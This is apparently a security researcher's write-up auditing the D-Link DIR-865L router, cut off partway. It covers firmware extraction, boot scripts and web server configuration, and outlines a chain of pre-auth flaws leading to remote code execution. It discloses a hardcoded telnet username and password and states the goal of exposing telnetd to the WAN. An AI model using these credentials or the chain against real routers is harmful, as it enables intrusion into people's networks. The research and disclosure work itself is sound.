Hello, today we will see how in an unauthenticated way, it is possible to exploit the router D-Link DIR-865L (through the WAN or the LAN as my exploit works in both cases). But, the most important thing is that by chaining several vulnerabilities and basic functionality of the router we can easily obtain an RCE.

The following vulnerabilities will be chained during the exploit:

Vulnerability Authentication Type
Information Leak pre-auth
Authentication Bypass via LF Injection + Information Leak pre-auth
Session Fixation pre-auth
Path Traversal + Arbitrary File List pre-auth (for firmware version < 1.07)
post-auth (for firmware version >= 1.07)
Arbitrary File Upload post-auth
Authentication Bypass via LF Injection + Path Traversal + PHP File Include pre-auth
Command Injection N/A

In addition and for information purposes, other vulnerabilities will be provided in the bonus section as they were identified during my research.

Vulnerability Authentication Type
Reflected XSS pre-auth

The target

Before starting the technical part, let’s introduce our target, a router. This target is a D-Link router, model DIR-865L (also known as Routeur Cloud Gigabit AC1750). Why this router, you may ask?

Well, the answer is simple. That router (and other of the same brand), have been the subject of some controversy, notably following the publication of false vulnerabilities and CVE identifiers. Some references if you are interested:

The debunk (the above references serve as a lead and with a little digging you will find other CVE numbers that are actually fake):

In addition to their blog post VulnCheck seems to confirm that the router is still vulnerable to an authentication bypass via /htdocs/web/getcfg.php and specify the associated CVE numbers:

  • CVE-2022-28956
  • CVE-2020-9376
  • CVE-2020-15894
  • CVE-2019-17506
  • CVE-2018-7034

Unfortunately for them they are both right and wrong. There really is an authentication bypass, but the problem does not come from /htdocs/web/getcfg.php (a bit of reverse engineering will allow us to sort this out).

So I wanted to see for myself, if it was possible to find an unknown RCE chain.

Firmware & GPL

It is possible to download firmware versions (1.07 and 1.08) from D-Link support pages:

Or all firmware versions through this link. Once the firmware is downloaded you can use binwalk to inspect the file and identify the presence of Squashfs.

alt-text

alt-text

alt-text

Unfortunately we can’t use unsquashfs to extract the filesystem, but, we can use sasquatch instead.

alt-text

We now have access to the router’s filesystem.

alt-text

As I have presented in other articles, I usually try to find the GPL sources of the routers at the beginning of an audit, which often allows me to access the source code of certain binaries (which avoids most of the time the reverse engineering steps, and allows us to only audit sources code).

In the case of our target, D-Link did not publish the GPL sources, but you’ll see that it doesn’t matter, because most of this audit is dedicated to only read PHP code.

alt-text

Audit

The boot process

In order to understand how the router boot, let’s look at the file /etc/init.d/rcS.

File: /etc/init.d/rcS

#!/bin/sh
for i in /etc/init.d/S??* ;do
    # Ignore dangling symlinks (if any).
    [ ! -f "$i" ] && continue
    # Run the script.
    echo "[$i]"
    $i
done
echo "[$0] done!"
/etc/init0.d/rcS

alt-text

It’s easy to understand that all scripts ending in .sh in the directory /etc/init.d/ are executed in ascending order.

  • S10init.sh
  • S11upboot.sh
  • S12ubs_storage.sh
  • S15udevd.sh
  • S16ipv6.sh
  • S19init.sh
  • S20init.sh
  • S20interfaces.sh
  • S21usbmount.sh
  • S22mydlink.sh
  • S23udevd.sh
  • S45gpiod.sh

Then the file /etc/init0.d/rcS is run.

In this first part of the boot stage two files are important, S12ubs_storage.sh and S21usbmount.sh.

File: /etc/init.d/S12ubs_storage.sh

#!/bin/sh

insmod /lib/modules/usb-storage.ko

File: /etc/init.d/S21usbmount.sh

#!/bin/sh
mkdir -p /var/tmp/storage

Now let’s look at the contents of file /etc/init0.d/rcS.

File: /etc/init0.d/rcS

#!/bin/sh
KRC=/var/killrc0
if [ -f $KRC ]; then

...

fi

for i in /etc/init0.d/S??* ; do
    # Ignore dangling symlinks (if any).
    [ ! -f "$i" ] && continue
    # run the script
    #echo [$i start]
    $i start
    # generate stop script
    echo "$i stop" > $KRC.tmp
    [ -f $KRC ] && cat $KRC >> $KRC.tmp
    mv $KRC.tmp $KRC
done
[ -f $KRC ] && chmod +x $KRC
echo "[$0] done!"

It’s easy to understand that all scripts ending in .sh in directory /etc/init0.d/ are executed in ascending order with the string start as only argument.

  • S21layout.sh
  • S40event.sh
  • S40gpioevent.sh
  • S41autowan.sh
  • S41autowanv6.sh
  • S41event.sh
  • S41inf.sh
  • S41smart404.sh
  • S42event.sh
  • S42pthrough.sh
  • S43mydlinkevent.sh
  • S51wlan.sh
  • S52wlan.sh
  • S60shareport.sh
  • S65ddnsd.sh
  • S65user.sh
  • S80telnetd.sh
  • S90upnpav.sh
  • S91proclink.sh
  • S92fastroute.sh
  • S93cpuload.sh

Let’s look at the contents of file S40event.sh.

File: /etc/init0.d/S40event.sh

#!/bin/sh
echo [$0]: $1 ... > /dev/console
if [ "$1" = "start" ]; then

...

event SEALPAC.CLEAR	add "/etc/events/SEALPAC-CLEAR.sh"
event DNSCACHE.FLUSH add "/etc/events/DNSCACHE-FLUSH.sh"
event SENDMAIL		add "phpsh /etc/events/SENDMAIL.php"
event LOGFULL 		add "phpsh /etc/events/SENDMAIL.php ACTION=LOGFULL"
event SCANARP		add "/etc/events/scanarp.sh"
event CHECKFW		add "/etc/events/checkfw.sh"
event DHCPS4.RESTART add "/etc/events/DHCPS-RESTART.sh"
event INF.RESTART	add "phpsh /etc/events/INF-RESTART.php"
event WAN.RESTART	add "phpsh /etc/events/INF-RESTART.php PREFIX=WAN"
event LAN.RESTART	add "phpsh /etc/events/INF-RESTART.php PREFIX=LAN"
event BRIDGE.RESTART add "phpsh /etc/events/INF-RESTART.php PREFIX=BRIDGE"
event DISKUP add "/etc/events/disk.sh"
event DISKDOWN add "/etc/events/disk.sh"

...

fi

There are several references to binary phpsh (/usr/sbin/phpsh).

File: /usr/sbin/phpsh

#!/bin/sh
if [ $1 = "debug" ]; then DEBUG=yes; shift; fi
CMD="xmldbc -P $1"
shift
while [ -n "$1" ]; do CMD=$CMD" -V \"$1\""; shift; done
echo $CMD|sh > /var/run/phpsh-$$.sh
if [ -n "$DEBUG" ]; then
    echo "PHPSH: [$CMD]" > /dev/console
    cat /var/run/phpsh-$$.sh > /dev/console
fi
sh /var/run/phpsh-$$.sh
rm -f /var/run/phpsh-$$.sh
exit 0

As it can be seen /usr/sbin/phpsh is a wrapper around the binary xmldbc (/usr/sbin/xmldbc, is a compiled binary for the MIPS architecture). So you have figured out that the cpu of our target is MIPS based and that the PHP its engine is xmldbc.

alt-text

An interesting fact is that in the folder /usr/sbin/ there are two binaries that have almost the same names:

  • xmldb
  • xmldbc

After a little analysis using the tools du, md5sum and diff, it becomes clear that these are the same binaries.

alt-text

I think that the presence of the same two binaries with different names must be due to a backward compatibility problem between firmwares (model, SDK, etc.) or it could be due to the fact that the same firmware can be flashed on different router models. Depending of the firmware version either xmldb and xmldbc are two identical binaries or xmldbc is a symlink to xmldb.

Let’s go back to the boot topic and let’s look at another interesting startup script /etc/init0.d/S80telnetd.sh:

File: /etc/init0.d/S80telnetd.sh

#!/bin/sh
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`
echo [$0]: $1 ... > /dev/console
if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then
    if [ -f "/usr/sbin/login" ]; then
        image_sign=`cat /etc/config/image_sign`
        telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
    else
        telnetd &
    fi
else
    killall telnetd
fi

It is pretty clear that the telnetd (/usr/sbin/telnetd) binary is present on the system. At startup, if xmldbc -g /runtime/device/devconfsize returns 0 then it expects to receive the following credentials to let a user login:

  • Username: Alphanetworks
  • Password: wrgac01_dlob.hans_dir865

However we won’t try to force xmldbc -g /runtime/device/devconfsize to return 0 during our exploit, but, the ultimate goal will be to start /usr/sbin/telnetd listening on a port of our choice and reach this port from the WAN.

Now that we have looked at the boot mechanism we move on to the most important topic, the Web server.

The Web server

The router functionality are managed by services, and those services (which are PHP scripts) are located at /etc/services/.

alt-text

We are interested in the following files:

  • /etc/services/HTTP.BRIDGE-1.php
  • /etc/services/HTTP.LAN-1.php
  • /etc/services/HTTP.LAN-2.php
  • /etc/services/HTTP.LAN-3.php
  • /etc/services/HTTP.LAN-4.php
  • /etc/services/HTTP.LAN-5.php
  • /etc/services/HTTP.LAN-6.php
  • /etc/services/HTTP.WAN-1.php
  • /etc/services/HTTP.WAN-2.php
  • /etc/services/HTTP.WAN-3.php
  • /etc/services/HTTP.WAN-4.php
  • /etc/services/HTTP.php
  • /etc/services/WEBACCESS.php

Let’s take /etc/services/HTTP.php as an example.

File: /etc/services/HTTP.php

<? /* vi: set sw=4 ts=4: */
include "/htdocs/phplib/phyinf.php";

fwrite("w",$START,"#!/bin/sh\n");
fwrite("w", $STOP,"#!/bin/sh\n");

$httpd_conf = "/var/run/httpd.conf";

/* start script */
if ( isdir("/htdocs/widget") == 1) // For widget By Joseph
{
    foreach("/runtime/services/http/server")
    {
        if(query("mode")=="HTTP")
            set("widget",	1);
    }
    fwrite("a",$START, "xmldbc -x /runtime/widget/salt \"get:widget -s\"\n");
    fwrite("a",$START, "xmldbc -x /runtime/widgetv2/logincheck  \"get:widget -a /var/run/password -v\"\n");
    fwrite("a",$START, "xmldbc -x /runtime/time/date \"get:date +%m/%d/%Y\"\n");
    fwrite("a",$START, "xmldbc -x /runtime/time/time \"get:date +%T\"\n");
}
fwrite("a",$START, "xmldbc -P /etc/services/HTTP/httpcfg.php > ".$httpd_conf."\n");
fwrite("a",$START, "event PREFWUPDATE add /etc/scripts/prefwupdate.sh\n");
fwrite("a",$START, "httpd -f ".$httpd_conf."\n");
fwrite("a",$START, "event HTTP.UP\n");
fwrite("a",$START, "exit 0\n");

/* stop script */
fwrite("a",$STOP, "killall httpd\n");
fwrite("a",$STOP, "rm -f ".$httpd_conf."\n");
fwrite("a",$STOP, "event HTTP.DOWN\n");
fwrite("a",$STOP, "exit 0\n");
?>

We can see that the following line generates the configuration of the Web server:


...

fwrite("a",$START, "xmldbc -P /etc/services/HTTP/httpcfg.php > ".$httpd_conf."\n");

...

Let’s inspect the file /etc/services/HTTP/httpcfg.php.

File: /etc/services/HTTP/httpcfg.php

Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console

Tuning
{
    NumConnections 128
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 30
    ScriptTimeout 30
}

Control
{
    <?
    echo "PathInfo Off\n";
    ?>
    Types
    {
        text/html	{ html htm }
        text/xml	{ xml }
        text/plain	{ txt }
        image/gif	{ gif }
        image/jpeg	{ jpg }
        text/css	{ css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump		{ /dump }
        CGI			{ cgi }
        Imagemap	{ map }
        Redirect	{ url }
    }
    External
    {
        /usr/sbin/phpcgi { php txt asp }
        /usr/sbin/scandir.sgi {sgi}
    }
}

<?
include "/htdocs/phplib/phyinf.php";
include "/htdocs/phplib/trace.php";
function http_server($sname, $uid, $ifname, $af, $ipaddr, $port, $hnap, $widget, $smart404, $miiicasa)
{
    
    $webaccess = query("/webaccess/enable");	
    $uid_prefix = cut($uid, 0, "-"); 
    /*if wan interface web server we do not bind interace for local loopback*/
    if($uid_prefix=="WAN")
    {
        $ifname = "";
    }
    echo
        "Server".									"\n".
        "{".										"\n".
        "	ServerName \"".$sname."\"".				"\n".
        "	ServerId \"".$uid."\"".					"\n".
        "	Family ".$af.							"\n";
        if($ifname != "") {	echo "	Interface ".$ifname.					"\n";}
        /*for bridge 192.168.0.50 alias ip access*/
        if($uid == "BRIDGE-1" && $port == "80" ) { echo "#	Address ".$ipaddr.	"\n";}
        else { echo "	Address ".$ipaddr.  "\n";}
    echo	
        "	Port ".$port.							"\n";
    if($webaccess == 1) 
    {
        echo
        '	Virtual'.								'\n'.
        '	{'.										'\n'.
        "		HOST shareport.local".				"\n".
        "		Priority 1".						"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /".						"\n".
        "			Location /htdocs/web/webaccess".			"\n".
        "			IndexNames { index.php }".		"\n".
        "		}".                             	"\n".		
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /dws".					"\n".
        "			Location /htdocs/fileaccess.cgi".	"\n".
        "			PathInfo On".                   "\n".		
        "			External".						"\n".
        "			{".								"\n".
        "				/htdocs/fileaccess.cgi { * }"."\n".
        "			}".								"\n".
        "		}".                             	"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /dws/api/Login".			"\n".
        "			Location /htdocs/web/webfa_authentication.cgi".	"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/htdocs/web/webfa_authentication.cgi { * }"."\n".
        "			}".								"\n".
        "		}".                             	"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /dws/api/Logout".			"\n".
        "			Location /htdocs/web/webfa_authentication_logout.cgi".	"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/htdocs/web/webfa_authentication_logout.cgi { * }"."\n".
        "			}".								"\n".
        "		}".                             	"\n".
        '	}'.										'\n';
        echo
        "	Virtual".                               "\n".
        "	{".                                     "\n".
        "		HOST shareport".                           "\n".
        "		Priority 1".                        "\n".
        "		Control".                           "\n".
        "		{".                                 "\n".
        "			Alias /".                       "\n".
        "			Location http://shareport.local".  "\n".
        "		}".                                 "\n".
        '	}'.                                     '\n';
    }
    echo
        "	Virtual".								"\n".
        "	{".										"\n".
        "		AnyHost".							"\n".
        "		Priority 1".						"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /".						"\n".
        "			Location /htdocs/web".			"\n".
        "			IndexNames { index.php }".		"\n";
    if ($uid=="LAN-1"||$uid=="WAN-1")	echo
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { txt }".	"\n".
        "			}".								"\n";
    if ($widget > 0)	echo
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { router_info.xml }"."\n".
        "				/usr/sbin/phpcgi { post_login.xml }"."\n".
        "			}".								"\n";	
    echo
        "		}".									"\n";
    echo
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /parentalcontrols".		"\n".
        "			Location /htdocs/parentalcontrols"."\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { php }".	"\n".
        "			}".								"\n".
        "		}".									"\n";
    if ($smart404 == "1")
    {
        echo
        '       Control'.                           '\n'.
        '       {'.                                 '\n'.
        '           Alias /smart404'.               '\n'.
        '           Location /htdocs/smart404'.     '\n'.
        '       }'.                                 '\n';
    }
    if ($miiicasa == "1")
    {
        echo
        '       Control'.                              '\n'.
        '       {'.                                    '\n'.
        '	    Alias /ws/api'.                    '\n'.
        '	    Location /usr/sbin/miiicasa.cgi'.  '\n'.
        '	    PathInfo On'.  		       '\n'.
        '	    External {'.                       '\n'.
        '	        /usr/sbin/miiicasa.cgi { * } '.'\n'.
        '	    }'.                                '\n'.
        '       }'.                                    '\n'.
        '       Control'.                              '\n'.
        '       {'.                                    '\n'.
        '	    Alias /da'.                        '\n'.
        '	    Location /var/tmp/storage'.        '\n'.
        '	    AllowDotfiles On'.                 '\n'.
        '       }'.                                    '\n';
    }
    if ($hnap > 0)
    {
        echo
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /HNAP1".					"\n".
        "			Location /htdocs/HNAP1".		"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/hnap { hnap }".	"\n".
        "			}".								"\n".
        "			IndexNames { index.hnap }".		"\n".
        "		}".									"\n";
    }
    echo
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /goform".					"\n".
        "			Location /htdocs/mydlink".		"\n".
        "			PathInfo On".					"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { * }".	"\n".
        "			}".								"\n".
        "			Specials".						"\n".
        "			{".								"\n".
        "				CGI {form_login form_logout }".	"\n".
        "			}".								"\n".
        "		}".									"\n";
    echo
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /mydlink".				"\n".
        "			Location /htdocs/mydlink".		"\n".
        "			PathInfo On".					"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { * }".	"\n".
        "			}".								"\n".
        "		}".									"\n";
    echo
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /common".					"\n".
        "			Location /htdocs/mydlink".		"\n".
        "			PathInfo On".					"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { cgi }".	"\n".
        "			}".								"\n".
        "		}".									"\n";
    echo
        "	}".										"\n".
        "}".										"\n";
}

function ssdp_server($sname, $uid, $ifname, $af, $ipaddr)
{
    $ipaddr ="239.255.255.250"; 
    if ($af=="inet6") { $ipaddr="ff02::C"; }		
    echo
        "Server".									"\n".
        "{".										"\n".
        "	ServerName \"".$sname."\"".				"\n".
        "	ServerId \"".$uid."\"".					"\n".
        "	Family ".$af.							"\n".
        "	Interface ".$ifname.					"\n".
        "	Port 1900".								"\n".
        "	Address ".$ipaddr.					    "\n".
        "	Datagrams On".							"\n".
        "	Virtual".								"\n".
        "	{".										"\n".
        "		AnyHost".							"\n".
        "		Priority 0".						"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /".						"\n".
        "			Location /htdocs/upnp/docs/".$uid."\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/htdocs/upnp/ssdpcgi { * }"."\n".
        "			}".								"\n".
        "		}".									"\n".
        "	}".										"\n".
        "}".										"\n".
        "\n";
}

function upnp_server($sname, $uid, $ifname, $af, $ipaddr, $port)
{
    echo
        "Server".									"\n".
        "{".										"\n".
        "	ServerName \"".$sname."\"".				"\n".
        "	ServerId \"".$uid."\"".					"\n".
        "	Family ".$af.							"\n".
        "	Interface ".$ifname.					"\n".
        "	Address ".$ipaddr.					"\n".
        "	Port ".$port.							"\n".
        "	Virtual".								"\n".
        "	{".										"\n".
        "		AnyHost".							"\n".
        "		Priority 0".						"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /".						"\n".
        "			Location /htdocs/upnp/docs/".$uid."\n".
        "		}".									"\n".
        "	}".										"\n".
        "}".										"\n".
        "\n";
}

function stunnel_server($sname, $uid, $ifname, $af, $ipaddr, $port, $wfa_port, $stunnel, $wfa_stunnel)
{
    $mydlink = query("/mydlink/register_st");
    
    if($mydlink == "1" || $stunnel=="1")
    {
    echo
        "Server".									"\n".
        "{".										"\n".
        "	ServerName \"".$sname."\"".				"\n".
        "	ServerId \"".$uid."\"".					"\n".
        "	Family ".$af.							"\n".
        "	Interface ".$ifname.					"\n".
        "	Address ".$ipaddr.						"\n".
        "	Port ".$port.							"\n".
        "	Virtual".								"\n".
        "	{".										"\n".
        "		AnyHost".							"\n".
        "		Priority 1".						"\n";
    if ($stunnel=="1")
    {
    echo	
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /".						"\n".
        "			Location /htdocs/web".			"\n".
        "			IndexNames { index.php }".		"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { txt }".	"\n".
        "			}".								"\n".
        "		}".									"\n";
    }
    echo
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /goform".					"\n".
        "			Location /htdocs/mydlink".		"\n".
        "			PathInfo On".					"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { * }".	"\n".
        "			}".								"\n".
        "			Specials".						"\n".
        "			{".								"\n".
        "				CGI {form_login form_logout }".	"\n".
        "			}".								"\n".
        "		}".									"\n";
    echo
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /mydlink".				"\n".
        "			Location /htdocs/mydlink".		"\n".
        "			PathInfo On".					"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { * }".	"\n".
        "			}".								"\n".
        "		}".									"\n";
    echo
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /common".					"\n".
        "			Location /htdocs/mydlink".		"\n".
        "			PathInfo On".					"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { cgi }".	"\n".
        "			}".								"\n".
        "		}".									"\n";
    
    echo
        "	}".										"\n".
        "}".										"\n";		
    }
    
    if ($wfa_stunnel=="1")
    {	
    echo
        "Server".									"\n".
        "{".										"\n".
        "	ServerName \"".$sname."\"".				"\n".
        "	ServerId \"".$uid."\"".					"\n".
        "	Family ".$af.							"\n".
        "	Interface ".$ifname.					"\n".
        "	Address ".$ipaddr.						"\n".
        "	Port ".$wfa_port.							"\n".
        "	Virtual".								"\n".
        "	{".										"\n".
        "		AnyHost".							"\n".
        "		Priority 1".						"\n";		
    echo
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /".						"\n".
        "			Location /htdocs/web/webaccess".			"\n".
        "			IndexNames { index.php }".		"\n";
    echo
        "			External".						"\n".
        "			{".								"\n".
        "				/usr/sbin/phpcgi { txt }".	"\n".
        "			}".								"\n";
    echo
        "		}".									"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /dws".					"\n".
        "			Location /htdocs/fileaccess.cgi".	"\n".
        "			PathInfo On".                   "\n".		
        "			External".						"\n".
        "			{".								"\n".
        "				/htdocs/fileaccess.cgi { * }"."\n".
        "			}".								"\n".
        "		}".                             	"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /dws/api/Login".			"\n".
        "			Location /htdocs/web/webfa_authentication.cgi".	"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/htdocs/web/webfa_authentication.cgi { * }"."\n".
        "			}".								"\n".
        "		}".                             	"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /dws/api/Logout".			"\n".
        "			Location /htdocs/web/webfa_authentication_logout.cgi".	"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/htdocs/web/webfa_authentication_logout.cgi { * }"."\n".
        "			}".								"\n".
        "		}".									"\n";
    echo
        "	}".										"\n".
        "}".										"\n";
    }	
}

function webaccess_server($webaccess_name, $uid, $ifname, $af, $ipaddr, $port)
{
    echo
        'Server'.									'\n'.
        '{'.										'\n'.
        "	ServerName \"".$webaccess_name."\"".	"\n".
        "	ServerId \"".$uid."\"".					"\n".
        "	Family ".$af.							"\n";
        if($ifname!=""){ echo "	Interface ".$ifname.					"\n";}
    echo	
        "	Address ".$ipaddr.						"\n".
        "	Port ".$port.							"\n".
        '	Virtual'.								'\n'.
        '	{'.										'\n'.
        "		AnyHost".							"\n".
        "		Priority 1".						"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /".						"\n".
        "			Location /htdocs/web/webaccess".			"\n".
        "			IndexNames { index.php }".		"\n";
    echo		
        "		}".                             	"\n".		
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /dws".					"\n".
        "			Location /htdocs/fileaccess.cgi".	"\n".
        "			PathInfo On".                   "\n".		
        "			External".						"\n".
        "			{".								"\n".
        "				/htdocs/fileaccess.cgi { * }"."\n".
        "			}".								"\n".
        "		}".                             	"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /dws/api/Login".			"\n".
        "			Location /htdocs/web/webfa_authentication.cgi".	"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/htdocs/web/webfa_authentication.cgi { * }"."\n".
        "			}".								"\n".
        "		}".                             	"\n".
        "		Control".							"\n".
        "		{".									"\n".
        "			Alias /dws/api/Logout".			"\n".
        "			Location /htdocs/web/webfa_authentication_logout.cgi".	"\n".
        "			External".						"\n".
        "			{".								"\n".
        "				/htdocs/web/webfa_authentication_logout.cgi { * }"."\n".
        "			}".								"\n".
        "		}".                             	"\n".
        '	}'.										'\n'.
        '}'.										'\n';		
}

$webaccess = query("/webaccess/enable");
$wfa_port = query("/webaccess/httpport");
$have_http = 0;
foreach("/runtime/services/http/server")
{
    $model	= query("/runtime/device/modelname");
    $ver	= query("/runtime/device/firmwareversion");
    $smart404 = query("/runtime/smart404");
    $sname	= "Linux, HTTP/1.1, ".$model." Ver ".$ver;	/* HTTP server name */
    $suname = "Linux, UPnP/1.0, ".$model." Ver ".$ver;	/* UPnP server name */
    $stunnel_name = "Linux, STUNNEL/1.0, ".$model." Ver ".$ver;	/* STUNNEL server name */
    $webaccess_name = "Linux, WEBACCESS/1.0, ".$model." Ver ".$ver;	/* WEBACCESS server name */	
    $mode 	= query("mode");
    $inf	= query("inf");
    $ifname	= query("ifname");
    $ipaddr	= query("ipaddr");
    $port	= query("port");
    $hnap	= query("hnap");
    $widget = query("widget");
    $miiicasa = query("miiicasa");
    $af		= query("af");
    
    $stunnel = query("stunnel");
    $wfa_stunnel = query("wfa_stunnel");
    
    if($ifname!="" || $ipaddr!="")
    {
        if ($af!="")
        {
            if($mode=="HTTP") 
            {
                $have_http = 1;
                http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404,$miiicasa);
            }
            else if	($mode=="SSDP") ssdp_server($sname, $inf,$ifname,$af,$ipaddr);
            else if	($mode=="UPNP") upnp_server($suname,$inf,$ifname,$af,$ipaddr,$port);
            else if	($mode=="STUNNEL") stunnel_server($stunnel_name,$inf,$ifname,$af,$ipaddr,$port,$wfa_port,$stunnel,$wfa_stunnel);
            else if	($mode=="WEBACCESS") webaccess_server($webaccess_name,$inf,$ifname,$af,$ipaddr,$port);
        }
    }
}
/*
this is for bridge,we only have alias ip on br0.
workarround only......
*/
if($have_http==0)
{
    $model	= query("/runtime/device/modelname");
    $ver	= query("/runtime/device/firmwareversion");
    $sname	= "Linux, HTTP/1.1, ".$model." Ver ".$ver;	/* HTTP server name */
    http_server($sname, "BRIDGE-1","br0","inet","","80",0,0,0,0);
        
}
?>

Thanks to:

  • /etc/services/HTTP.php
  • /etc/services/HTTP/httpcfg.php
  • /etc/services/STUNNEL.php
  • /etc/stunnel.conf
  • /etc/services/WEBACCESS.php

We can make a first mapping of how the Web server works.

From a network point of view:

  • httpd listen on port 80.
  • httpd listen on port 8181 if the service WEBACCESS is active.
  • stunnel listen on port 443 and is an SSL socket forwarding decrypted incoming traffic (HTTP) to the Web server (127.0.0.1:80).
  • stunnel listen on port 4433 and is an SSL socket forwarding decrypted incoming traffic (HTTP) to the Web server (127.0.0.1:8181) if the service WEBACCESS is active.

We hurry to verify our theory:

alt-text

alt-text

alt-text

alt-text

Moreover, we demonstrate here our first vulnerability, Information Leak (pre-auth), which allows us in one request to obtain without authentication the model and the firmware version of the router which will be useful to us during the recon steps.

From an application point of view:

When we look at the code of the function http_server(), we better understand the interactions between the processes. Furthermore I realized that all the files below are symlinks to the file /htdocs/cgibin.

  • In /usr/sbin/ :
    • fwupdater
    • hnap
    • phpcgi
    • scandir.sgi
  • In /htdocs/web/ :
    • authentication.cgi
    • authentication_logout.cgi
    • captcha.cgi
    • conntrack.cgi
    • dlapn.cgi
    • dlcfg.cgi
    • dldongle.cgi
    • fwup.cgi
    • hedwig.cgi
    • pigwidgeon.cgi
    • seama.cgi
    • service.cgi
    • session.cgi
    • webfa_authentication.cgi
    • webfa_authentication_logout.cgi
  • In /htdocs/upnp/ :
    • ssdpcgi
  • In /htdocs/mydlink/ :
    • form_login
    • form_logout

So we understand that all the intelligence of the Web server is contained in the binary /htdocs/cgibin. Moreover, I think that the Web server and the PHP engine (/usr/sbin/xmldbc) communicate through a unix socket /var/run/xmldb_sock (like Apache2 and PHP-FPM). I can’t say that the following schema corresponds 100% to what is happening, but in any case this is what I understand:

alt-text

Now that we have a general understanding of how the router works, let’s exploit it.

Exploitation

Information Leak

We exploit the high verbosity of the Web server to extract the model and firmware version of the router (from HTTP response headers and body). Knowing thoses information allows us to check if the router is exploitable or not (by chance, it turns out that all firmware versions will be vulnerable to our exploit).

Authentication Bypass via LF Injection + Information Leak

As announced by VulnCheck, the router is vulnerable to an authentication bypass, but contrary to what they announced, this is not due to the script /htdocs/web/getcfg.php but to /htdocs/cgibin (on the other hand, /htdocs/web/getcfg.php is vulnerable to a Path Traversal and a PHP File Include via the funtion dophp() but we will see why later).

File: /htdocs/web/getcfg.php

HTTP/1.1 200 OK
Content-Type: text/xml

<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";


function is_power_user()
{
    if($_GLOBALS["AUTHORIZED_GROUP"] == "")
    {
        return 0;
    }
    if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
    {
        return 0;
    }
    return 1;
}

if ($_POST["CACHE"] == "true")
{
    echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
    if(is_power_user() == 1)
    {
        /* cut_count() will return 0 when no or only one token. */
        $SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
        TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
        $SERVICE_INDEX = 0;
        while ($SERVICE_INDEX < $SERVICE_COUNT)
        {
            $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
            TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
            if ($GETCFG_SVC!="")
            {
                $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
                /* GETCFG_SVC will be passed to the child process. */
                if (isfile($file)=="1") dophp("load", $file);
            }
            $SERVICE_INDEX++;
        }
    }
    else
    {
        /* not a power user, return error message */
        echo "\t<result>FAILED</result>\n";
        echo "\t<message>Not authorized</message>\n";
    }
}
?></postxml>

The proofs of concept present online use the PHP File Include to load a .xml.php file that leak the account name and password of the administrator. There is another way to obtain the same result using a trick not public yet, which allows to be more discreet in term of IOC, since it is not known.

Let’s look at the following call stack in /htdocs/cgibin:

  • main()
    • phpcgi_main()
      • cgibin_parse_request()
        • FUN_004046a8()
          • FUN_00407c88()

File: /htdocs/cgibin
Function: FUN_00407c88()

void FUN_00407c88(int param_1,int *param_2) {
  char *pcVar1;
  char *local_10;

  FUN_00407b08();
  if (*param_2 == 0) {
    sobj_add_string(param_1,"_POST_");
    pcVar1 = sobj_get_string(param_2[1]);
    sobj_add_string(param_1,pcVar1);
    sobj_add_char(param_1,0x3d);
    pcVar1 = sobj_get_string(param_2[2]);
    sobj_add_string(param_1,pcVar1);
